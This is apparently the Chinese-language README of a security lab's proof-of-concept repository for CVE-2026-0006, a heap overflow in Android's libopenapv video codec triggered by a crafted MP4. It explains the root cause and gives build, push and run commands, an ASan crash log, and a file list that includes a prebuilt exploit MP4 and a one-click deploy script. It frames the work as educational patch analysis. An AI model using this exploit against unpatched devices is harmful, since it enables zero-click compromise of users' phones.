CVE-2026-0006:libopenapv(Android APV 编解码器)堆缓冲区溢出 PoC - CVSS 9.8
CVSS 9.8 严重 | 已在野外被积极利用 | 2026 年 3 月已修复
注意: 我们并非此漏洞的发现者。发现并负责任地报告 CVE-2026-0006 的功劳归功于原始研究人员。本仓库包含我们独立的补丁分析、复现及教学性文章,旨在帮助安全社区理解相关漏洞类别及所涉及的利用技术。

CVE-2026-0006 是 libopenapv 中的一个堆缓冲区溢出漏洞,该库是三星开源的 APV(Advanced Professional Video,高级专业视频)编解码器,作为 Mainline 模块集成在 Android 16 中。
该漏洞允许通过特制的 MP4 文件实现零点击远程代码执行。Android 媒体框架会自动处理视频文件以生成缩略图和预览——无需任何用户交互。
oapvd_info() 和 oapvd_decode() 从不同的 PBU(Payload Byte Unit,负载字节单元)读取帧尺寸。攻击者注入一个声称小尺寸(16x16)的 AU_INFO PBU(类型 65),而实际的 FRAME PBU 编码了大尺寸(64x64)。框架根据 oapvd_info() 的输出分配缓冲区,随后 oapvd_decode() 按 FRAME PBU 的尺寸写入解码后的像素——导致缓冲区溢出 14,848 字节。
你需要一个安全补丁级别为 2026 年 3 月之前的 Android 16 模拟器(较旧的 Android 版本中不存在 APV 解码器)。
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
如果安全补丁级别为 2026-03-01 或更高,则该漏洞已被修复,漏洞利用将无法生效。请使用更早的系统映像或快照。
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
该脚本会生成漏洞利用 MP4,将其推送到设备,打开它并捕获崩溃输出。崩溃可能不会在第一次尝试时触发——脚本会自动重试最多 3 次。
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab):ssize > 4 验证和 'aPv1' 签名检查oapv_param.c 模块此漏洞由原始安全研究人员发现并负责任地报告。 我们并未发现此 CVE。发现该漏洞的全部功劳归于他们。
本仓库代表 Mobile Hacking Lab 独立的补丁分析与复现——出于教学目的而创建,旨在帮助安全社区从真实世界的漏洞中学习。
本研究是在易受影响库的隔离测试构建上为教育目的而进行的。所有测试均针对开源 libopenapv 项目本地构建的二进制文件进行。未以任何生产设备或系统为目标。
| File | Description |
|---|
generate_overflow_mp4.py | 生成具有 AU_INFO 尺寸不匹配的漏洞利用 MP4 |
deploy_exploit_mp4.sh | 一键操作:生成、推送到 Android 设备、打开并捕获崩溃 |
poc_mp4_asan.c | 模拟 C2SoftApvDec 解码路径的 ASan PoC |
poc_android_oob_write.c | 带保护区域溢出检测的独立 ARM64 PoC |
valid.apv | 有效的 337 字节 APV 比特流(64x64,YUV422,10 位) |
apv-mp4/valid_ffmpeg.mp4 | 基线 MP4 容器(由 ffmpeg 生成) |
apv-mp4/overflow_auinfo.mp4 | 预构建的漏洞利用 MP4(1,178 字节) |